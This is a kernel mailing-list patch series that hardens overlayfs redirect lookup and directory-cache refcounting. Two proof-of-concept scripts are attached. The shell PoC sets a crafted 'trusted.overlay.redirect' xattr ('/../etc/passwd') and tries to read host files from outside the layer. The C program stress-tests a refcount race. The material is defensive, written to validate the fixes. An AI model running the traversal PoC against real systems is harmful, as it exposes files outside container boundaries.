[PATCH v3 0/3] overlayfs: security hardening patches (with PoCs)
"Rodrigo H." <[email protected]> Mon, 22 Jun 2026 12:21:28 -0300
| Newsgroups | org.kernel.vger.linux-unionfs |
|---|---|
| Message-ID | <CAEAeJizPbZh=bcZk=iDhdw-LS-_ZG7V6SmvMprxVxS+m6BevGw@mail.gmail.com> |
Greg, Thank you for the previous review. I've now properly prepared the patches following the kernel submission process. Summary of changes: | Patch | Description | Reference | |-------|-------------|-----------| | 1/3 | Replace component walk in ovl_lookup_layer() with vfs_path_lookup() using LOOKUP_BENEATH | Matches ovl_lookup_data_layer() at namei.c:403-404 | | 2/3 | Convert long refcount → refcount_t; add refcount_inc_not_zero() in ovl_cache_get() | Per Amir's March 2024 question | | 3/3 | Add ovl_dir_cache_drop() helper with refcount_read() guard | Based on Nirmoy Das's RFC | Testing: - PoC #1 (poc1_path_traversal.sh): Confirms that `trusted.overlay.redirect` with `/../etc/passwd` is blocked after PATCH 1 - PoC #2 (poc2_refcount_race.c): 8 readdir + 8 open/close threads for 15s; monitors dmesg for refcount_t warnings Important note on PATCH 2/3: After re-analysis of the current code, both ovl_cache_get() (readdir.c:482) and ovl_cache_put() (readdir.c:295) execute under inode_lock exclusive (via WRAP_DIR_ITER and ovl_dir_release()). The long refcount is not currently subject to a race condition. This conversion to refcount_t is defense-in-depth — it's the correct kernel type for reference counters and provides saturation protection. The real fixes are PATCH 1 (path traversal) and PATCH 3 (impure cache UAF prevention). PATCH 2 is still valid as a hardening measure. All patches are based on: ef0c9f75a195 (Nirmoy Das's commit) Branch: ovl-fixes-v3 Full PoC scripts are attached. Thank you for your patience and guidance, Rodrigo Henrique de Souza ---
poc2_refcount_race.c
(text/x-csrc, 4.6 KB)
// PoC #2: OverlayFS dir cache refcount race test
//
// Tests concurrent getdents64 + open/close on overlay directory
// to exercise the ovl_dir_cache refcount path with refcount_t.
//
// Compile: gcc -pthread -O2 -o poc2_refcount_race poc2_refcount_race.c
// Usage: sudo ./poc2_refcount_race [<overlay_dir>]
//
// With the original 'long refcount' code, non-atomic increments
// in ovl_cache_get() (readdir.c:491) can race with concurrent
// ovl_cache_put() in ovl_dir_release() (readdir.c:1029) if the
// inode_lock is ever weakened or if a different code path is
// introduced. The refcount_t conversion prevents this class of
// bugs by providing saturation and atomic semantics.
//
// With the fix applied, this test should run without warnings.
// Check dmesg for: "refcount_t: saturation" or "refcount_t: underflow"
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <dirent.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <linux/fs.h>
#define NR_THREADS_READDIR 8
#define NR_THREADS_OPENCLOSE 8
#define DURATION_SEC 15
#define FILL_DIR_ENTRIES 1000
static volatile int running = 1;
static char dir_path[4096];
// Fill a temp directory with many entries so the cache is worth racing over
static void fill_directory(const char *path, int count)
{
char buf[4096];
int i;
for (i = 0; i < count; i++) {
snprintf(buf, sizeof(buf), "%s/file_%04d", path, i);
int fd = open(buf, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd >= 0)
close(fd);
}
}
// Thread: repeatedly call getdents64 via readdir
static void *readdir_worker(void *arg)
{
(void)arg;
while (running) {
DIR *d = opendir(dir_path);
if (!d) {
usleep(1000);
continue;
}
struct dirent *entry;
while ((entry = readdir(d)) != NULL) {
// Volatile read to prevent optimization
__asm__ volatile("" : : "r"(entry->d_ino) : "memory");
}
closedir(d);
}
return NULL;
}
// Thread: repeatedly open and close the directory
static void *openclose_worker(void *arg)
{
(void)arg;
while (running) {
int fd = open(dir_path, O_RDONLY | O_DIRECTORY);
if (fd >= 0) {
// Small delay to increase race window
usleep(1);
close(fd);
} else {
usleep(1000);
}
}
return NULL;
}
// Monitor dmesg for refcount_t warnings
static void *dmesg_monitor(void *arg)
{
(void)arg;
FILE *fp = popen("dmesg -w 2>/dev/null | head -20", "r");
if (!fp)
return NULL;
char buf[256];
while (running && fgets(buf, sizeof(buf), fp)) {
if (strstr(buf, "refcount_t") ||
strstr(buf, "UAF") ||
strstr(buf, "use-after-free") ||
strstr(buf, "BUG:")) {
printf("\n!!! KERNEL DETECTED: %s\n", buf);
}
}
pclose(fp);
return NULL;
}
int main(int argc, char *argv[])
{
char tmpdir[256] = "/tmp/ovl_racydir_XXXXXX";
if (argc >= 2) {
strncpy(dir_path, argv[1], sizeof(dir_path) - 1);
} else {
// Create a test overlay
char lower[] = "/tmp/lower_XXXXXX";
char upper[] = "/tmp/upper_XXXXXX";
char work[] = "/tmp/work_XXXXXX";
char merge[] = "/tmp/merge_XXXXXX";
if (!mkdtemp(lower) || !mkdtemp(upper) || !mkdtemp(work)) {
perror("mkdtemp");
return 1;
}
if (mkdir(merge, 0755) && errno != EEXIST) {
perror("mkdir merge");
return 1;
}
fill_directory(lower, FILL_DIR_ENTRIES);
char opts[512];
snprintf(opts, sizeof(opts),
"lowerdir=%s,upperdir=%s,workdir=%s",
lower, upper, work);
if (mount("overlay", merge, "overlay", 0, opts) != 0) {
perror("mount overlay");
return 1;
}
snprintf(dir_path, sizeof(dir_path), "%s", merge);
printf("[*] Created overlay: lower=%s upper=%s work=%s merge=%s\n",
lower, upper, work, merge);
}
printf("[*] Testing on: %s\n", dir_path);
printf("[*] Launching %d readdir + %d open/close threads for %ds\n",
NR_THREADS_READDIR, NR_THREADS_OPENCLOSE, DURATION_SEC);
printf("[*] Monitor dmesg for kernel warnings\n");
pthread_t threads[NR_THREADS_READDIR + NR_THREADS_OPENCLOSE + 1];
int i, t = 0;
// Launch dmesg monitor
pthread_create(&threads[t++], NULL, dmesg_monitor, NULL);
// Launch readdir threads
for (i = 0; i < NR_THREADS_READDIR; i++)
pthread_create(&threads[t++], NULL, readdir_worker, NULL);
// Launch open/close threads
for (i = 0; i < NR_THREADS_OPENCLOSE; i++)
pthread_create(&threads[t++], NULL, openclose_worker, NULL);
// Let it run
sleep(DURATION_SEC);
running = 0;
// Wait for all threads
for (i = 0; i < t; i++)
pthread_join(threads[i], NULL);
printf("\n[*] Test complete. Check dmesg for any kernel warnings.\n");
printf(" No warnings = refcount_t conversion is stable.\n");
return 0;
}
poc1_path_traversal.sh
(application/x-shellscript, 3.2 KB)
#!/bin/bash
# PoC #1: OverlayFS Path Traversal via Redirect + ".." escape
#
# Exploits: ovl_lookup_layer() using lookup_one_unlocked() without
# mount-boundary enforcement (missing LOOKUP_BENEATH).
# Mechanism: absolute redirect containing ".." traverses above layer root.
# Requires: CAP_SYS_ADMIN, redirect_dir=on
#
# Kernel versions: All overlayfs since redirect support was added
set -e -o pipefail
BASE_DIR=$(mktemp -d)
LOWER_DIR="$BASE_DIR/lower"
UPPER_DIR="$BASE_DIR/upper"
WORK_DIR="$BASE_DIR/work"
MOUNT_DIR="$BASE_DIR/mnt"
ESCAPE_TARGET="/tmp/overlay_escape_test"
mkdir -p "$LOWER_DIR/subdir" "$UPPER_DIR" "$WORK_DIR" "$MOUNT_DIR"
# Create a secret file outside the overlay
echo "OVERLAYFS_ESCAPE_SUCCESS" > "$ESCAPE_TARGET"
# Create a directory with a malicious redirect that escapes the layer
# The redirect "/../tmp/overlay_escape_test" starts from the layer root
# and uses ".." to walk up into the host filesystem
setfattr -n trusted.overlay.redirect -v "/../tmp/overlay_escape_test" \
"$LOWER_DIR/subdir" 2>/dev/null || {
echo "SKIP: setfattr not available or fs doesn't support xattrs"
rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
exit 0
}
# Verify the xattr was set
echo "[*] Lower dir xattr:"
getfattr -d "$LOWER_DIR/subdir" 2>/dev/null || true
# Mount overlay with redirect_dir=on
mount -t overlay overlay \
-o lowerdir="$LOWER_DIR",upperdir="$UPPER_DIR",workdir="$WORK_DIR",redirect_dir=on \
"$MOUNT_DIR" 2>/dev/null || {
echo "SKIP: overlay mount failed (missing CAP_SYS_ADMIN or kernel support)"
rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
exit 0
}
echo "[*] Overlay mounted at $MOUNT_DIR"
# Test 1: Stat the directory with the redirect
echo "[*] Test 1: stat() on redirect directory..."
if stat "$MOUNT_DIR/subdir" >/dev/null 2>&1; then
echo " stat OK"
fi
# Test 2: Try to access the escaped path through the redirect
echo "[*] Test 2: access escaped target via redirect..."
TARGET="$MOUNT_DIR/subdir"
if [ -f "$TARGET" ]; then
CONTENT=$(cat "$TARGET" 2>/dev/null || true)
if [ "$CONTENT" = "OVERLAYFS_ESCAPE_SUCCESS" ]; then
echo " VULNERABLE: Read file outside overlay layer!"
echo " Content: $CONTENT"
else
echo " File exists but content unexpected: $CONTENT"
echo " (may be a regression or different behavior)"
fi
else
echo " SECURE: Cannot access file outside layer (path_is_under blocked it)"
fi
# Test 3: Try /../etc/passwd style traversal
echo "[*] Test 3: /etc/passwd traversal via redirect..."
setfattr -n trusted.overlay.redirect -v "/../etc/passwd" \
"$LOWER_DIR/subdir" 2>/dev/null || true
# Re-mount to clear cache
umount "$MOUNT_DIR"
mount -t overlay overlay \
-o lowerdir="$LOWER_DIR",upperdir="$UPPER_DIR",workdir="$WORK_DIR",redirect_dir=on \
"$MOUNT_DIR" 2>/dev/null || true
if [ -f "$MOUNT_DIR/subdir" ]; then
HEAD=$(head -1 "$MOUNT_DIR/subdir" 2>/dev/null || true)
if [ -n "$HEAD" ]; then
echo " VULNERABLE: Read /etc/passwd via redirect traversal!"
echo " First line: $HEAD"
fi
else
echo " SECURE: /etc/passwd traversal blocked"
fi
# Cleanup
umount "$MOUNT_DIR" 2>/dev/null || true
rm -rf "$BASE_DIR" "$ESCAPE_TARGET"
echo "[*] Done"
0002-ovl-convert-dir-cache-refcount-to-refcount_t-with-at.patch
(text/x-patch, 2.9 KB)
From c6e0a4a79a7ec4817deb540e1a4f80c46af8b7a6 Mon Sep 17 00:00:00 2001 From: Rodrigo Henrique de Souza <[email protected]> Date: Mon, 22 Jun 2026 12:14:19 -0300 Subject: [PATCH 2/3] ovl: convert dir cache refcount to refcount_t with atomic semantics The ovl_dir_cache refcount is currently a plain 'long' field with non-atomic increments in ovl_cache_get() and manual decrements with WARN_ON in ovl_cache_put(). A race exists where ovl_cache_get() can find a valid cache and increment its refcount while ovl_cache_put() is concurrently freeing it on another thread. Fix this by: - Converting struct ovl_dir_cache::refcount from long to refcount_t - Using refcount_inc_not_zero() in ovl_cache_get() to atomically detect when a cache is being freed and treat it as a cache miss - Using refcount_dec_and_test() in ovl_cache_put() with built-in underflow detection - Moving ovl_inode_lock() outside refcount_dec_and_test() to protect the cache pointer check against concurrent ovl_cache_get() Link: https://lore.kernel.org/linux-unionfs/CAOQ4uxh9sKB0XyKwzDt74MtaVcBGbZhVJMLZ3fyDTY-TUQo7VA@mail.gmail.com/ Signed-off-by: Rodrigo Henrique de Souza <[email protected]> --- fs/overlayfs/readdir.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/fs/overlayfs/readdir.c b/fs/overlayfs/readdir.c index e7fe29cb6028..f930add14dda 100644 --- a/fs/overlayfs/readdir.c +++ b/fs/overlayfs/readdir.c @@ -10,6 +10,7 @@ #include <linux/file.h> #include <linux/filelock.h> #include <linux/xattr.h> +#include <linux/refcount.h> #include <linux/rbtree.h> #include <linux/security.h> #include <linux/cred.h> @@ -34,7 +35,7 @@ struct ovl_cache_entry { }; struct ovl_dir_cache { - long refcount; + refcount_t refcount; u64 version; struct list_head entries; struct rb_root root; @@ -296,11 +297,11 @@ static void ovl_cache_put(struct ovl_dir_file *od, struct inode *inode) { struct ovl_dir_cache *cache = od->cache; - WARN_ON(cache->refcount <= 0); - cache->refcount--; - if (!cache->refcount) { + if (refcount_dec_and_test(&cache->refcount)) { + ovl_inode_lock(inode); if (ovl_dir_cache(inode) == cache) ovl_set_dir_cache(inode, NULL); + ovl_inode_unlock(inode); ovl_cache_free(&cache->entries); kfree(cache); @@ -487,9 +488,9 @@ static struct ovl_dir_cache *ovl_cache_get(struct dentry *dentry) cache = ovl_dir_cache(inode); if (cache && ovl_inode_version_get(inode) == cache->version) { - WARN_ON(!cache->refcount); - cache->refcount++; - return cache; + if (refcount_inc_not_zero(&cache->refcount)) + return cache; + /* Cache refcount is zero -- it is being freed */ } ovl_set_dir_cache(d_inode(dentry), NULL); @@ -497,7 +498,7 @@ static struct ovl_dir_cache *ovl_cache_get(struct dentry *dentry) if (!cache) return ERR_PTR(-ENOMEM); - cache->refcount = 1; + refcount_set(&cache->refcount, 1); INIT_LIST_HEAD(&cache->entries); cache->root = RB_ROOT; -- 2.54.0
0001-ovl-restrict-redirect-path-resolution-with-LOOKUP_BE.patch
(text/x-patch, 3.1 KB)
From 4686520bacc81b96a38b8363524deab68b7a22b6 Mon Sep 17 00:00:00 2001 From: Rodrigo Henrique de Souza <[email protected]> Date: Mon, 22 Jun 2026 12:13:20 -0300 Subject: [PATCH 1/3] ovl: restrict redirect path resolution with LOOKUP_BENEATH ovl_lookup_layer() resolves absolute redirect paths by walking component-by-component with ovl_lookup_single(), which uses lookup_one_unlocked() without any mount-boundary enforcement. An attacker with control of a lower layer can set trusted.overlay.redirect to a path containing '..' or symlinks that escape the layer root. Fix this by using vfs_path_lookup() with LOOKUP_BENEATH | LOOKUP_NO_SYMLINKS | LOOKUP_NO_XDEV for absolute redirect paths, mirroring the identical protection already present in ovl_lookup_data_layer(). These flags prevent: - Escape from the layer mount root (LOOKUP_BENEATH) - Following symlinks (LOOKUP_NO_SYMLINKS) - Crossing device boundaries (LOOKUP_NO_XDEV) Link: https://lore.kernel.org/linux-unionfs/CAOQ4uxh9sKB0XyKwzDt74MtaVcBGbZhVJMLZ3fyDTY-TUQo7VA@mail.gmail.com/ Signed-off-by: Rodrigo Henrique de Souza <[email protected]> --- fs/overlayfs/namei.c | 47 +++++++++++++++++++------------------------- 1 file changed, 20 insertions(+), 27 deletions(-) diff --git a/fs/overlayfs/namei.c b/fs/overlayfs/namei.c index ca899fdfaafd..11c94e5f39b5 100644 --- a/fs/overlayfs/namei.c +++ b/fs/overlayfs/namei.c @@ -356,42 +356,35 @@ static int ovl_lookup_single(struct dentry *base, struct ovl_lookup_data *d, static int ovl_lookup_layer(struct dentry *base, struct ovl_lookup_data *d, struct dentry **ret, bool drop_negative) { - /* Counting down from the end, since the prefix can change */ - size_t rem = d->name.len - 1; - struct dentry *dentry = NULL; int err; + struct path path = { }; if (d->name.name[0] != '/') return ovl_lookup_single(base, d, d->name.name, d->name.len, 0, "", ret, drop_negative); - while (!IS_ERR_OR_NULL(base) && d_can_lookup(base)) { - const char *s = d->name.name + d->name.len - rem; - const char *next = strchrnul(s, '/'); - size_t thislen = next - s; - bool end = !next[0]; - - /* Verify we did not go off the rails */ - if (WARN_ON(s[-1] != '/')) - return -EIO; - - err = ovl_lookup_single(base, d, s, thislen, - d->name.len - rem, next, &base, - drop_negative); - dput(dentry); - if (err) - return err; - dentry = base; - if (end) - break; + /* + * Resolve absolute redirect paths from the layer root with the same + * restrictions used by ovl_lookup_data_layer(): prevent symlink + * traversal, device crossing, and escape from the layer root. + */ + err = vfs_path_lookup(d->layer->mnt->mnt_root, d->layer->mnt, + d->name.name, + LOOKUP_BENEATH | LOOKUP_NO_SYMLINKS | LOOKUP_NO_XDEV, + &path); + if (err) + return err; - rem -= thislen + 1; + err = -EREMOTE; + if (WARN_ON(ovl_dentry_weird(path.dentry))) + goto out_path_put; - if (WARN_ON(rem >= d->name.len)) - return -EIO; - } - *ret = dentry; + *ret = path.dentry; return 0; + +out_path_put: + path_put(&path); + return err; } static int ovl_lookup_data_layer(struct dentry *dentry, const char *redirect, -- 2.54.0
0003-ovl-safely-drop-impure-directory-cache-with-refcount.patch
(text/x-patch, 2 KB)
From f17aeca44e54a34b509e0f86b972def215fdaac2 Mon Sep 17 00:00:00 2001 From: Rodrigo Henrique de Souza <[email protected]> Date: Mon, 22 Jun 2026 12:14:54 -0300 Subject: [PATCH 3/3] ovl: safely drop impure directory cache with refcount check The impure cache in ovl_cache_get_impure() is not refcounted and was freed unconditionally even if a merged directory cache still had active references via od->cache in open directory files. Add ovl_dir_cache_drop() which: 1. Removes the cache from the inode first 2. Only frees it if refcount_read() returns zero (no active users) 3. Preserves the cache if it is still in use by concurrent file descriptors This prevents a UAF scenario where a merged dir cache refcount is protecting a cache that ovl_cache_get_impure() frees out from under it. Signed-off-by: Rodrigo Henrique de Souza <[email protected]> --- fs/overlayfs/readdir.c | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/fs/overlayfs/readdir.c b/fs/overlayfs/readdir.c index f930add14dda..4d93129810ba 100644 --- a/fs/overlayfs/readdir.c +++ b/fs/overlayfs/readdir.c @@ -293,6 +293,26 @@ void ovl_dir_cache_free(struct inode *inode) } } +static void ovl_dir_cache_drop(struct inode *inode) +{ + struct ovl_dir_cache *cache = ovl_dir_cache(inode); + + if (!cache) + return; + + ovl_set_dir_cache(inode, NULL); + + /* + * Merged dir caches are refcounted by open directory files. + * Only free the cache if nobody is using it. + */ + if (refcount_read(&cache->refcount)) + return; + + ovl_cache_free(&cache->entries); + kfree(cache); +} + static void ovl_cache_put(struct ovl_dir_file *od, struct inode *inode) { struct ovl_dir_cache *cache = od->cache; @@ -704,8 +724,7 @@ static struct ovl_dir_cache *ovl_cache_get_impure(const struct path *path) return cache; /* Impure cache is not refcounted, free it here */ - ovl_dir_cache_free(inode); - ovl_set_dir_cache(inode, NULL); + ovl_dir_cache_drop(inode); cache = kzalloc_obj(struct ovl_dir_cache); if (!cache) -- 2.54.0